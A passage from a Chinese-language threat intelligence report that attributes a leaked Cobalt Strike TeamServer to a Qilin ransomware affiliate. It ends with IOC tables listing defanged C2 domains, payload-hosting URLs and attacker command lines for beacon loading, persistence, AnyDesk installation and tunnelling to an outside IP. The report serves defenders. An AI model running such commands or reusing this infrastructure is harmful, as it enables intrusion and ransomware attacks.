| UTC+4 | 3174 | 2703 | 493 |
| UTC+5 | 2975 | 2541 | 616 |
| UTC+8 | 2374 | 1841 | 1049 |
这与公开资料中Qilin被描述为俄语系勒索生态并不冲突。Quaser/QMT最终加密动作发生在中国台湾本地凌晨,说明攻击者会把高交互操作和最终破坏窗口时间拆开,高交互侦察和横向操作落在操作者白天,加密触发则安排在受害者低值守时间。
(三)多环境并行作业关系
同一TeamServer上的GRC/GRControls、QCT/Quanta、RHP/Orchard、CNDC01、OVDI、备份/灾备等环境共享同一控制层、operator alias、listener、ADMIN$/PsExec横向、hashdump/logonpasswords凭据收割、vmware.exe/explorer.exe sync/copy外传和ndp48.dll批量投放链。从基础设施归属和作业链复用看,它们共同构成同一套Qilin相关勒索作业平台的并行受害环境记录。
五、总结
这套TeamServer目录泄露的价值,不在单个Beacon样本,而在完整的暴露了攻击者、工具链和受害者资产。文件侧能看到Cobalt Strike 4.10体系目录、profile/listener/artifact/hosted file;攻击者侧能看到攻击者账号、来源IP、命令节奏和分工;受害者侧能看到域控、文件服务器、RDS、SAP/SQL、备份/WSUS等高价值资产如何被逐步接管。
Quaser/QMT个案的证据链最完整,能够作为本次归因的锚点;其他受害环境则通过同一TeamServer、同一operator体系、同一横向/外传/投放链路与该锚点相连。综合以上线索,我们认为这套暴露目录反映的是Qilin(Agenda)相关affiliate的多目标实战运营平台。
这起事件展示了现代勒索攻击的典型节奏:攻击者在自己的工作时段完成高交互判断和横向扩展,在受害者本地凌晨触发破坏,并通过公开泄露站点进行后续施压。受害企业应关注域控、文件服务器、备份/NAS、RDS/VDI和虚拟化管理节点的安全加固,以及对异常rundll32加载、伪装vmware.exe/explorer.exe外传工具、非授权AnyDesk安装和Cobalt Strike pipe通信的持续监测。
六、防护建议
奇安信威胁情报中心提醒广大用户,谨防钓鱼攻击,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行标题夸张的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。
若需运行或安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台(https://sandbox.ti.qianxin.com/sandbox/page)进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。
目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。
七、IOC
MD5
| 文件 | MD5 |
|---|---|
| dns.dll | 33841a902206051bcf47d0dc7049fec7 |
| http80.dll | c2ad599f3aacec5c91ec203bca7151d6 |
| ndp48.dll | 0e79de640392b62fef07a36bcb8181b2 |
SHA256
| 文件 | SHA256 |
|---|---|
| dns.dll | 54e3d79c853f723b8e6ece83f993b51770f8485a648a8a943bc1c8d6c21db01e |
| http80.dll | e16a038b93fe8bc8b394eb271f3c3db1ccee1efafd9623e6eeefef5a8695adc9 |
| ndp48.dll | b2cd952f411cccde09d4baf707690391843991bc5502b27062e09fc4520318c4 |
| winvnc.x64.dll | 13FEAA32E4B03EDE8799E5BEE6F8D54C3AF715A6488AD32F6287D8F504C7078B |
| winvnc.x86.dll | C50183EED715EC2392249E334940ACF66315797A740A8FE782934352FED144C6 |
C&C
| 域名/IP | 类型 | 说明 |
|---|---|---|
| owa.brobinhood[.]com | 域名 | HTTP-brobin C2域名 |
| www.brobinhood[.]com | 域名 | HTTP listener相关域名 |
| brobinhood[.]com | 域名 | HTTP listener相关域名 |
| brobingood[.]com | 域名 | DNS beacon域名 |
| ns1.brobingood[.]com | 域名 | DNS beacon NS子域 |
| 45.66.249[.]207 | IP | HTTP-brobin监听IP |
| 45.66.249[.]91 | IP | 操作员客户端来源 |
| 179.43.189[.]17 | IP | 后期操作员来源 |
| 83.147.17[.]59 | IP | SFTP外传与rs64备用连接 |
URL
| URL | 说明 |
|---|---|
| hxxp://45.66.249[.]207:8089/file.ext | 托管dns.dll |
| hxxp://45.66.249[.]207:8088/file.ext | 托管http80.dll |
| hxxp://45.66.249[.]207:8081/file.ext | 托管ndp48.dll |
行为IOC
| 指标 | 类型 | 说明 |
|---|---|---|
| C:\Windows\Temp\vmware.exe | 文件/命令 | 伪装rclone外传工具 |
| C:\Windows\Temp\explorer.exe | 文件/命令 | 伪装rclone外传工具 |
| rundll32.exe \http80.dll,StartW | 命令行 | http80.dll加载 |
| schtasks /create /tn \"Indexer\" | 计划任务 | 周期加载http80.dll |
| rundll32.exe c:\windows\temp\ | ||
| dp48.dll,barrier | 命令行 | 触发ndp48.dll APC loader |
| AnyDesk.exe --install --start-with-win | 命令行 | 安装备用远控 |
| rs64.exe -connect 83.147.17[.]59: | 命令行 | 备用连接/隧道 |
| \\.\pipe\Winsock2\CatalogChangeListener-\* | 命名管道 | Cobalt Strike bind pipe |
| jump psexec64 → ADMIN$\<随机>.exe | 行为 | SCM横向移动 |
| Loader.exe beacon\_x64.bin | 命令/文件 | 自定义加载器执行shellcode |
| NtdllUnhook.exe | 文件/行为 | 反EDR/unhook尝试 |
八、参考链接
[1]https://ransomware.live/id/UXVhc2VyIE1hY2hpbmUgVG9vbHMsIEluY0BxaWxpbg
[2]https://www.trendmicro.com/en\_us/research/24/c/agenda-ransomware-propagates-to-vcenters-and-esxi-via-custom-pow.html
[3]https://www.trendmicro.com/vinfo/tr/security/news/ransomware-spotlight/ransomware-spotlight-agenda
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论